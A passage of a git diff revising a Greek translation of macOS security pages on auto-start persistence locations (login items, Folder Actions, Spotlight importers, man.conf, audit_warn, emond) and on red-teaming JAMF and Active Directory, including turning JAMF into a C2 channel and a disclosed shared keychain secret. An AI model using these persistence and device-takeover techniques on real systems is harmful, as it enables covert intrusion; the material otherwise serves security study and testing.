πατηθεί ένα πλήκτρο). +Αυτό το εργαλείο επιτρέπει να υποδεικνύονται εφαρμογές ή σενάρια που θα εκτελούνται όταν πατηθούν ορισμένα συντομεύσεις. Ένας επιτιθέμενος μπορεί να είναι σε θέση να ρυθμίσει τη δική του **συντόμευση και ενέργεια για εκτέλεση στη βάση δεδομένων** για να εκτελέσει αυθαίρετο κώδικα (μια συντόμευση θα μπορούσε να είναι απλώς να πατηθεί ένα πλήκτρο). ### Alfred @@ -582,15 +628,15 @@ osascript -e 'tell application "System Events" to delete login item "itemname"' ``` Αυτά τα στοιχεία αποθηκεύονται στο αρχείο **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -Τα **Login items** μπορούν **επίσης** να υποδειχθούν χρησιμοποιώντας το API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) το οποίο θα αποθηκεύσει τη διαμόρφωση στο **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +Τα **Στοιχεία σύνδεσης** μπορούν **επίσης** να υποδειχθούν χρησιμοποιώντας το API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) το οποίο θα αποθηκεύσει τη διαμόρφωση στο **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -### ZIP ως Login Item +### ZIP ως Στοιχείο Σύνδεσης -(Δείτε την προηγούμενη ενότητα σχετικά με τα Login Items, αυτή είναι μια επέκταση) +(Δείτε την προηγούμενη ενότητα σχετικά με τα Στοιχεία Σύνδεσης, αυτή είναι μια επέκταση) -Εάν αποθηκεύσετε ένα **ZIP** αρχείο ως **Login Item**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν, για παράδειγμα, αποθηκευμένο στο **`~/Library`** και περιείχε τον φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν είναι από προεπιλογή) και το plist θα προστεθεί ώστε την επόμενη φορά που ο χρήστης θα συνδεθεί ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελείται**. +Εάν αποθηκεύσετε ένα **ZIP** αρχείο ως **Στοιχείο Σύνδεσης**, το **`Archive Utility`** θα το ανοίξει και αν το zip ήταν για παράδειγμα αποθηκευμένο στο **`~/Library`** και περιείχε τον φάκελο **`LaunchAgents/file.plist`** με ένα backdoor, αυτός ο φάκελος θα δημιουργηθεί (δεν είναι από προεπιλογή) και το plist θα προστεθεί ώστε την επόμενη φορά που ο χρήστης θα συνδεθεί ξανά, το **backdoor που υποδεικνύεται στο plist θα εκτελείται**. -Μια άλλη επιλογή θα ήταν να δημιουργήσετε τα αρχεία **`.bash_profile`** και **`.zshenv** μέσα στο HOME του χρήστη, έτσι ώστε αν ο φάκελος LaunchAgents υπάρχει ήδη, αυτή η τεχνική να λειτουργεί ακόμα. +Μια άλλη επιλογή θα ήταν να δημιουργήσετε τα αρχεία **`.bash_profile`** και **`.zshenv`** μέσα στο HOME του χρήστη, έτσι ώστε αν ο φάκελος LaunchAgents υπάρχει ήδη, αυτή η τεχνική να λειτουργεί ακόμα. ### At @@ -598,7 +644,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.g - Χρήσιμο για να παρακάμψετε το sandbox: [✅](https://emojipedia.org/check-mark-button) - Αλλά πρέπει να **εκτελέσετε** **`at`** και πρέπει να είναι **ενεργοποιημένο** -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle) #### Τοποθεσία @@ -668,18 +714,18 @@ total 32 Το όνομα αρχείου περιέχει την ουρά, τον αριθμό εργασίας και την ώρα που έχει προγραμματιστεί να εκτελεστεί. Για παράδειγμα, ας ρίξουμε μια ματιά στο `a0001a019bdcd2`. - `a` - αυτή είναι η ουρά -- `0001a` - αριθμός εργασίας σε δεκαεξαδική μορφή, `0x1a = 26` -- `019bdcd2` - ώρα σε δεκαεξαδική μορφή. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. `0x019bdcd2` είναι `26991826` σε δεκαδική μορφή. Αν το πολλαπλασιάσουμε με 60, παίρνουμε `1619509560`, που είναι `GMT: 2021. Απρίλιος 27., Τρίτη 7:46:00`. +- `0001a` - αριθμός εργασίας σε εξάδεκα, `0x1a = 26` +- `019bdcd2` - ώρα σε εξάδεκα. Αντιπροσωπεύει τα λεπτά που έχουν περάσει από την εποχή. `0x019bdcd2` είναι `26991826` σε δεκαδικό. Αν το πολλαπλασιάσουμε με 60, παίρνουμε `1619509560`, που είναι `GMT: 2021. Απρίλιος 27., Τρίτη 7:46:00`. -Αν εκτυπώσουμε το αρχείο εργασίας, θα διαπιστώσουμε ότι περιέχει τις ίδιες πληροφορίες που αποκτήσαμε χρησιμοποιώντας `at -c`. +Αν εκτυπώσουμε το αρχείο εργασίας, θα βρούμε ότι περιέχει τις ίδιες πληροφορίες που αποκτήσαμε χρησιμοποιώντας `at -c`. ### Folder Actions Writeup: [https://theevilbit.github.io/beyond/beyond_0024/](https://theevilbit.github.io/beyond/beyond_0024/)\ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d) -- Χρήσιμο για να παρακαμφθεί το sandbox: [✅](https://emojipedia.org/check-mark-button) -- Αλλά χρειάζεται να μπορείτε να καλέσετε το `osascript` με παραμέτρους για να επικοινωνήσετε με **`System Events`** για να μπορέσετε να ρυθμίσετε τις Folder Actions +- Χρήσιμο για να παρακάμψετε το sandbox: [✅](https://emojipedia.org/check-mark-button) +- Αλλά πρέπει να μπορείτε να καλέσετε το `osascript` με παραμέτρους για να επικοινωνήσετε με **`System Events`** για να μπορέσετε να ρυθμίσετε τις Folder Actions - TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - Έχει κάποιες βασικές άδειες TCC όπως Desktop, Documents και Downloads @@ -697,7 +743,7 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89 Για να ρυθμίσετε τις Folder Actions, έχετε επιλογές όπως: -1. Δημιουργία μιας ροής εργασίας Folder Action με το [Automator](https://support.apple.com/guide/automator/welcome/mac) και εγκατάσταση της ως υπηρεσία. +1. Δημιουργία μιας ροής εργασίας Folder Action με [Automator](https://support.apple.com/guide/automator/welcome/mac) και εγκατάσταση ως υπηρεσία. 2. Επισύναψη ενός σεναρίου χειροκίνητα μέσω της ρύθμισης Folder Actions στο μενού περιβάλλοντος ενός φακέλου. 3. Χρήση του OSAScript για την αποστολή μηνυμάτων Apple Event στο `System Events.app` για προγραμματισμένη ρύθμιση μιας Folder Action. - Αυτή η μέθοδος είναι ιδιαίτερα χρήσιμη για την ενσωμάτωση της ενέργειας στο σύστημα, προσφέροντας ένα επίπεδο επιμονής. @@ -869,11 +915,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0017](https://theevilbit.gi #### Περιγραφή & Εκμετάλλευση -**Συγκεντρώστε ένα bundle επιλογέα χρώματος** με τον κώδικά σας (μπορείτε να χρησιμοποιήσετε [**αυτό για παράδειγμα**](https://github.com/viktorstrate/color-picker-plus)) και προσθέστε έναν κατασκευαστή (όπως στην [ενότητα Screen Saver](macos-auto-start-locations.md#screen-saver)) και αντιγράψτε το bundle στο `~/Library/ColorPickers`. +**Συγκεντρώστε ένα bundle επιλογέα χρώματος** με τον κώδικά σας (μπορείτε να χρησιμοποιήσετε [**αυτόν για παράδειγμα**](https://github.com/viktorstrate/color-picker-plus)) και προσθέστε έναν κατασκευαστή (όπως στην [ενότητα Screen Saver](macos-auto-start-locations.md#screen-saver)) και αντιγράψτε το bundle στο `~/Library/ColorPickers`. Στη συνέχεια, όταν ενεργοποιηθεί ο επιλογέας χρώματος, θα πρέπει να ενεργοποιηθεί και ο κώδικάς σας. -Σημειώστε ότι το δυαδικό που φορτώνει τη βιβλιοθήκη σας έχει ένα **πολύ περιοριστικό sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` +Σημειώστε ότι το δυαδικό αρχείο που φορτώνει τη βιβλιοθήκη σας έχει ένα **πολύ περιοριστικό sandbox**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64` ```bash [Key] com.apple.security.temporary-exception.sbpl [Value] @@ -916,20 +962,20 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p - `/System/Library/Screen Savers` - Απαιτείται δικαιώματα root -- **Trigger**: Επιλέξτε τον screensaver +- **Trigger**: Επιλέξτε το screensaver - `/Library/Screen Savers` - Απαιτείται δικαιώματα root -- **Trigger**: Επιλέξτε τον screensaver +- **Trigger**: Επιλέξτε το screensaver - `~/Library/Screen Savers` -- **Trigger**: Επιλέξτε τον screensaver +- **Trigger**: Επιλέξτε το screensaver
#### Description & Exploit -Δημιουργήστε ένα νέο έργο στο Xcode και επιλέξτε το πρότυπο για να δημιουργήσετε έναν νέο **Screen Saver**. Στη συνέχεια, προσθέστε τον κώδικά σας σε αυτόν, για παράδειγμα τον παρακάτω κώδικα για να δημιουργήσετε logs. +Δημιουργήστε ένα νέο έργο στο Xcode και επιλέξτε το πρότυπο για να δημιουργήσετε ένα νέο **Screen Saver**. Στη συνέχεια, προσθέστε τον κώδικά σας σε αυτό, για παράδειγμα τον παρακάτω κώδικα για να δημιουργήσετε logs. -**Build** το, και αντιγράψτε το `.saver` bundle στο **`~/Library/Screen Savers`**. Στη συνέχεια, ανοίξτε το GUI του Screen Saver και αν απλά κάνετε κλικ σε αυτό, θα πρέπει να δημιουργήσει πολλά logs: +**Build** it, and copy the `.saver` bundle to **`~/Library/Screen Savers`**. Then, open the Screen Saver GUI and it you just click on it, it should generate a lot of logs: ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"' @@ -1035,11 +1081,11 @@ writeup: [https://theevilbit.github.io/beyond/beyond_0011/](https://theevilbit.g Το Spotlight είναι η ενσωματωμένη λειτουργία αναζήτησης του macOS, σχεδιασμένη να παρέχει στους χρήστες **γρήγορη και ολοκληρωμένη πρόσβαση σε δεδομένα στους υπολογιστές τους**.\ Για να διευκολύνει αυτή τη γρήγορη δυνατότητα αναζήτησης, το Spotlight διατηρεί μια **ιδιόκτητη βάση δεδομένων** και δημιουργεί έναν δείκτη μέσω **ανάλυσης των περισσότερων αρχείων**, επιτρέποντας γρήγορες αναζητήσεις τόσο μέσω των ονομάτων των αρχείων όσο και του περιεχομένου τους. -Ο υποκείμενος μηχανισμός του Spotlight περιλαμβάνει μια κεντρική διαδικασία που ονομάζεται 'mds', που σημαίνει **'metadata server'.** Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία Spotlight. Συμπληρωματικά, υπάρχουν πολλαπλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως η ευρετηρίαση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες καθίστανται δυνατές μέσω των plugins εισαγωγέων Spotlight, ή **".mdimporter bundles**", που επιτρέπουν στο Spotlight να κατανοεί και να ευρετηριάζει περιεχόμενο σε μια ποικιλία μορφών αρχείων. +Ο υποκείμενος μηχανισμός του Spotlight περιλαμβάνει μια κεντρική διαδικασία που ονομάζεται 'mds', που σημαίνει **'metadata server'.** Αυτή η διαδικασία οργανώνει ολόκληρη την υπηρεσία Spotlight. Συμπληρωματικά, υπάρχουν πολλοί δαίμονες 'mdworker' που εκτελούν διάφορες εργασίες συντήρησης, όπως η ευρετηρίαση διαφορετικών τύπων αρχείων (`ps -ef | grep mdworker`). Αυτές οι εργασίες καθίστανται δυνατές μέσω των plugins εισαγωγέα Spotlight, ή **".mdimporter bundles**", που επιτρέπουν στο Spotlight να κατανοεί και να ευρετηριάζει περιεχόμενο σε μια ποικιλία μορφών αρχείων. Τα plugins ή **`.mdimporter`** bundles βρίσκονται στα μέρη που αναφέρθηκαν προηγουμένως και αν εμφανιστεί ένα νέο bundle, φορτώνεται μέσα σε ένα λεπτό (δεν χρειάζεται να επανεκκινήσετε καμία υπηρεσία). Αυτά τα bundles πρέπει να υποδεικνύουν ποιοι **τύποι αρχείων και επεκτάσεις μπορούν να διαχειριστούν**, έτσι ώστε το Spotlight να τα χρησιμοποιεί όταν δημιουργείται ένα νέο αρχείο με την υποδεικνυόμενη επέκταση. -Είναι δυνατόν να **βρείτε όλους τους `mdimporters`** που έχουν φορτωθεί εκτελώντας: +Είναι δυνατόν να **βρείτε όλους τους `mdimporters`** που είναι φορτωμένοι τρέχοντας: ```bash mdimport -L Paths: id(501) ( @@ -1087,10 +1133,10 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist > [!CAUTION] > Αν ελέγξετε το Plist άλλων `mdimporter` μπορεί να μην βρείτε την καταχώρηση **`UTTypeConformsTo`**. Αυτό συμβαίνει επειδή είναι ένας ενσωματωμένος _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform_Type_Identifier)) και δεν χρειάζεται να καθορίσει επεκτάσεις. > -> Επιπλέον, οι προεπιλεγμένες προσθήκες του συστήματος έχουν πάντα προτεραιότητα, επομένως ένας επιτιθέμενος μπορεί να έχει πρόσβαση μόνο σε αρχεία που δεν ευρετηριάζονται διαφορετικά από τους δικούς του `mdimporters` της Apple. +> Επιπλέον, οι προεπιλεγμένες προσθήκες του συστήματος έχουν πάντα προτεραιότητα, επομένως ένας επιτιθέμενος μπορεί να έχει πρόσβαση μόνο σε αρχεία που δεν είναι αλλιώς ευρετηριασμένα από τους δικούς του `mdimporters` της Apple. Για να δημιουργήσετε τον δικό σας εισαγωγέα μπορείτε να ξεκινήσετε με αυτό το έργο: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) και στη συνέχεια να αλλάξετε το όνομα, το **`CFBundleDocumentTypes`** και να προσθέσετε **`UTImportedTypeDeclarations`** ώστε να υποστηρίζει την επέκταση που θα θέλατε να υποστηρίξετε και να τις αναφέρετε στο **`schema.xml`**.\ -Στη συνέχεια **αλλάξτε** τον κώδικα της συνάρτησης **`GetMetadataForFile`** για να εκτελεί την payload σας όταν δημιουργείται ένα αρχείο με την επεξεργασμένη επέκταση. +Στη συνέχεια **αλλάξτε** τον κώδικα της συνάρτησης **`GetMetadataForFile`** για να εκτελείτε το payload σας όταν δημιουργείται ένα αρχείο με την επεξεργασμένη επέκταση. Τέλος **κατασκευάστε και αντιγράψτε τον νέο σας `.mdimporter`** σε μία από τις προηγούμενες τοποθεσίες και μπορείτε να ελέγξετε αν φορτώνεται **παρακολουθώντας τα logs** ή ελέγχοντας **`mdimport -L.`** @@ -1139,7 +1185,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0019/](https://theevilbit.g #### Description & Exploitation -Τα περιοδικά scripts (**`/etc/periodic`**) εκτελούνται λόγω των **launch daemons** που είναι ρυθμισμένα στο `/System/Library/LaunchDaemons/com.apple.periodic*`. Σημειώστε ότι τα scripts που αποθηκεύονται στο `/etc/periodic/` εκτελούνται ως **ιδιοκτήτης του αρχείου,** επομένως αυτό δεν θα λειτουργήσει για μια πιθανή κλιμάκωση προνομίων. +Τα περιοδικά scripts (**`/etc/periodic`**) εκτελούνται λόγω των **launch daemons** που είναι ρυθμισμένα στο `/System/Library/LaunchDaemons/com.apple.periodic*`. Σημειώστε ότι τα scripts που αποθηκεύονται στο `/etc/periodic/` εκτελούνται ως ο **ιδιοκτήτης του αρχείου,** επομένως αυτό δεν θα λειτουργήσει για μια πιθανή κλιμάκωση προνομίων. ```bash # Launch daemons that will execute the periodic scripts ls -l /System/Library/LaunchDaemons/com.apple.periodic* @@ -1301,7 +1347,7 @@ security authorize com.asdf.asdf Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Χρήσιμο για να παρακάμψετε το sandbox: [🟠](https://emojipedia.org/large-orange-circle) +- Χρήσιμο για να παρακαμφθεί το sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Αλλά πρέπει να είστε root και ο χρήστης πρέπει να χρησιμοποιεί man - TCC bypass: [🔴](https://emojipedia.org/large-red-circle) @@ -1315,7 +1361,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.g Το αρχείο ρυθμίσεων **`/private/etc/man.conf`** υποδεικνύει το δυαδικό/σενάριο που θα χρησιμοποιηθεί κατά το άνοιγμα αρχείων τεκμηρίωσης man. Έτσι, η διαδρομή προς το εκτελέσιμο θα μπορούσε να τροποποιηθεί ώστε κάθε φορά που ο χρήστης χρησιμοποιεί το man για να διαβάσει κάποια έγγραφα, να εκτελείται μια backdoor. -Για παράδειγμα, ορίστε στο **`/private/etc/man.conf`**: +Για παράδειγμα, ορισμένο στο **`/private/etc/man.conf`**: ``` MANPAGER /tmp/view ``` @@ -1334,7 +1380,7 @@ touch /tmp/manconf - Χρήσιμο για να παρακάμψετε το sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Αλλά χρειάζεστε δικαιώματα root και ο Apache πρέπει να είναι σε λειτουργία - Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle) -- Το Httpd δεν έχει δικαιώματα +- Το httpd δεν έχει δικαιώματα #### Τοποθεσία @@ -1348,7 +1394,7 @@ touch /tmp/manconf ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` -Με αυτόν τον τρόπο, τα συμπιεσμένα σας αρχεία θα φορτωθούν από τον Apache. Το μόνο που χρειάζεται είναι είτε να **το υπογράψετε με ένα έγκυρο πιστοποιητικό της Apple**, είτε να **προσθέσετε ένα νέο έμπιστο πιστοποιητικό** στο σύστημα και να **το υπογράψετε** με αυτό. +Με αυτόν τον τρόπο, οι συμπιεσμένες μονάδες σας θα φορτωθούν από τον Apache. Το μόνο που χρειάζεται είναι είτε να **το υπογράψετε με ένα έγκυρο πιστοποιητικό της Apple**, είτε να **προσθέσετε ένα νέο αξιόπιστο πιστοποιητικό** στο σύστημα και **να το υπογράψετε** με αυτό. Στη συνέχεια, αν χρειαστεί, για να βεβαιωθείτε ότι ο διακομιστής θα ξεκινήσει, μπορείτε να εκτελέσετε: ```bash @@ -1372,7 +1418,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.g - Χρήσιμο για να παρακάμψετε το sandbox: [🟠](https://emojipedia.org/large-orange-circle) - Αλλά χρειάζεστε δικαιώματα root, το auditd να είναι σε εκτέλεση και να προκαλέσει προειδοποίηση -- Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle) +- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) #### Location @@ -1382,7 +1428,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.g #### Description & Exploit -Όποτε το auditd ανιχνεύει μια προειδοποίηση, το σενάριο **`/etc/security/audit_warn`** **εκτελείται**. Έτσι μπορείτε να προσθέσετε το payload σας σε αυτό. +Όποτε το auditd ανιχνεύει μια προειδοποίηση, το σενάριο **`/etc/security/audit_warn`** είναι **εκτελούμενο**. Έτσι, μπορείτε να προσθέσετε το payload σας σε αυτό. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` @@ -1450,7 +1496,7 @@ RunService "$1" Εισήχθη από την Apple, το **emond** είναι ένας μηχανισμός καταγραφής που φαίνεται να είναι υποανάπτυκτος ή πιθανώς εγκαταλελειμμένος, ωστόσο παραμένει προσβάσιμος. Αν και δεν είναι ιδιαίτερα ωφέλιμο για έναν διαχειριστή Mac, αυτή η ασαφής υπηρεσία θα μπορούσε να χρησιμεύσει ως μια διακριτική μέθοδος επιμονής για τους απειλητικούς παράγοντες, πιθανώς απαρατήρητη από τους περισσότερους διαχειριστές macOS. -Για όσους γνωρίζουν την ύπαρξή του, η αναγνώριση οποιασδήποτε κακόβουλης χρήσης του **emond** είναι απλή. Ο LaunchDaemon του συστήματος για αυτή την υπηρεσία αναζητά σενάρια προς εκτέλεση σε έναν μόνο κατάλογο. Για να το ελέγξετε, μπορεί να χρησιμοποιηθεί η παρακάτω εντολή: +Για όσους γνωρίζουν την ύπαρξή του, η αναγνώριση οποιασδήποτε κακόβουλης χρήσης του **emond** είναι απλή. Ο LaunchDaemon του συστήματος για αυτή την υπηρεσία αναζητά σενάρια προς εκτέλεση σε έναν μόνο κατάλογο. Για να το ελέγξετε, μπορεί να χρησιμοποιηθεί η ακόλουθη εντολή: ```bash ls -l /private/var/db/emondClients ``` @@ -1475,12 +1521,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.g #### Τοποθεσία -Για να εγκαταστήσετε ένα KEXT ως στοιχείο εκκίνησης, πρέπει να **εγκατασταθεί σε μία από τις παρακάτω τοποθεσίες**: +Για να εγκαταστήσετε ένα KEXT ως στοιχείο εκκίνησης, πρέπει να είναι **εγκατεστημένο σε μία από τις παρακάτω τοποθεσίες**: - `/System/Library/Extensions` - Αρχεία KEXT ενσωματωμένα στο λειτουργικό σύστημα OS X. - `/Library/Extensions` -- Αρχεία KEXT που εγκαθίστανται από λογισμικό τρίτων +- Αρχεία KEXT εγκατεστημένα από λογισμικό τρίτων Μπορείτε να καταγράψετε τα τρέχοντα φορτωμένα αρχεία kext με: ```bash @@ -1503,7 +1549,7 @@ kextunload -b com.apple.driver.ExampleBundle #### Περιγραφή & Εκμετάλλευση -Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό αρχείο ενώ εκθέτει μια υπηρεσία XPC... το θέμα είναι ότι το δυαδικό αρχείο δεν υπήρχε, οπότε θα μπορούσατε να τοποθετήσετε κάτι εκεί και όταν καλείται η υπηρεσία XPC, το δυαδικό σας αρχείο θα καλείται. +Φαίνεται ότι το `plist` από το `/System/Library/LaunchAgents/com.apple.amstoold.plist` χρησιμοποιούσε αυτό το δυαδικό αρχείο ενώ εκθέτοντας μια υπηρεσία XPC... το θέμα είναι ότι το δυαδικό αρχείο δεν υπήρχε, οπότε θα μπορούσατε να τοποθετήσετε κάτι εκεί και όταν καλείται η υπηρεσία XPC, το δυαδικό σας αρχείο θα καλείται. Δεν μπορώ πλέον να το βρω στο macOS μου. diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index f9591773c..1253cb384 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -20,17 +20,17 @@ macos-mdm/ Ένα MDM θα έχει άδεια να εγκαθιστά, να ερωτά ή να αφαιρεί προφίλ, να εγκαθιστά εφαρμογές, να δημιουργεί τοπικούς λογαριασμούς διαχειριστή, να ορίζει κωδικό πρόσβασης firmware, να αλλάζει το κλειδί FileVault... -Για να τρέξετε το δικό σας MDM χρειάζεστε να **υπογραφεί το CSR σας από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, μπορείτε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm). +Για να τρέξετε το δικό σας MDM, χρειάζεστε να **υπογραφεί το CSR σας από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, θα μπορούσατε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm). Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστη CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε. -Για να εγγραφείτε τη συσκευή σε ένα MDM, χρειάζεται να εγκαταστήσετε ένα **`mobileconfig`** αρχείο ως root, το οποίο θα μπορούσε να παραδοθεί μέσω ενός **pkg** αρχείου (μπορείτε να το συμπιέσετε σε zip και όταν κατεβεί από το safari θα αποσυμπιεστεί). +Για να εγγραφεί η συσκευή σε ένα MDM, χρειάζεται να εγκαταστήσετε ένα **`mobileconfig`** αρχείο ως root, το οποίο θα μπορούσε να παραδοθεί μέσω ενός **pkg** αρχείου (μπορείτε να το συμπιέσετε σε zip και όταν κατεβεί από το safari θα αποσυμπιεστεί). **Mythic agent Orthrus** χρησιμοποιεί αυτή την τεχνική. ### Κατάχρηση JAMF PRO -Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενή payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διαδικασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...). +Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενή payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...). #### Αυτοεγγραφή JAMF @@ -38,7 +38,7 @@ macos-mdm/ Μπορείτε να χρησιμοποιήσετε το σενάριο [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying. -Επιπλέον, αφού βρείτε κατάλληλα διαπιστευτήρια, θα μπορούσατε να είστε σε θέση να σπάσετε άλλους χρήστες με την επόμενη φόρμα: +Επιπλέον, αφού βρείτε τα κατάλληλα διαπιστευτήρια, θα μπορούσατε να είστε σε θέση να σπάσετε άλλους χρήστες με την επόμενη φόρμα: ![](<../../images/image (107).png>) @@ -46,7 +46,7 @@ macos-mdm/
-Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain το οποίο κατά την ανακάλυψη ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\ +Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain, το οποίο κατά την ανακάλυψη ήταν **κοινό** σε όλους και ήταν: **`jk23ucnq91jfu9aj`**.\ Επιπλέον, το jamf **επιμένει** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`** #### Κατάληψη Συσκευής JAMF @@ -65,7 +65,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist 4 [...] ``` -Έτσι, ένας επιτιθέμενος θα μπορούσε να ρίξει ένα κακόβουλο πακέτο (`pkg`) που **επικαλύπτει αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε έναν Mythic C2 listener από έναν Typhon agent** ώστε να μπορεί τώρα να εκμεταλλευτεί το JAMF ως C2. +Έτσι, ένας επιτιθέμενος θα μπορούσε να ρίξει ένα κακόβουλο πακέτο (`pkg`) που **επικαλύπτει αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε έναν Mythic C2 listener από έναν Typhon agent** για να μπορεί τώρα να εκμεταλλευτεί το JAMF ως C2. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 @@ -77,7 +77,7 @@ sudo jamf policy -id 0 Για να **παριστάνεις την επικοινωνία** μεταξύ μιας συσκευής και του JMF χρειάζεσαι: - Το **UUID** της συσκευής: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- Το **JAMF keychain** από: `/Library/Application\ Support/Jamf/JAMF.keychain` το οποίο περιέχει το πιστοποιητικό της συσκευής +- Το **JAMF keychain** από: `/Library/Application\ Support/Jamf/JAMF.keychain` που περιέχει το πιστοποιητικό της συσκευής Με αυτές τις πληροφορίες, **δημιούργησε μια VM** με το **κλεμμένο** Hardware **UUID** και με **SIP απενεργοποιημένο**, ρίξε το **JAMF keychain,** **hook** τον Jamf **agent** και κλέψε τις πληροφορίες του. @@ -119,7 +119,7 @@ sudo jamf policy -id 0 ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` -Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για MacOS που επιτρέπουν την αυτόματη καταμέτρηση του AD και την αλληλεπίδραση με το kerberos: +Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για MacOS για αυτόματη καταμέτρηση του AD και αλληλεπίδραση με το kerberos: - [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε MacOS hosts. - [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για να αλληλεπιδρά με τα APIs Heimdal krb5 σε macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη ασφάλεια δοκιμών γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο. @@ -174,7 +174,7 @@ dsconfigad -show ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` -Είναι δυνατόν να αποκτήσετε πρόσβαση στον **`Computer$`** κωδικό πρόσβασης μέσα στο System keychain. +Είναι δυνατόν να αποκτήσετε 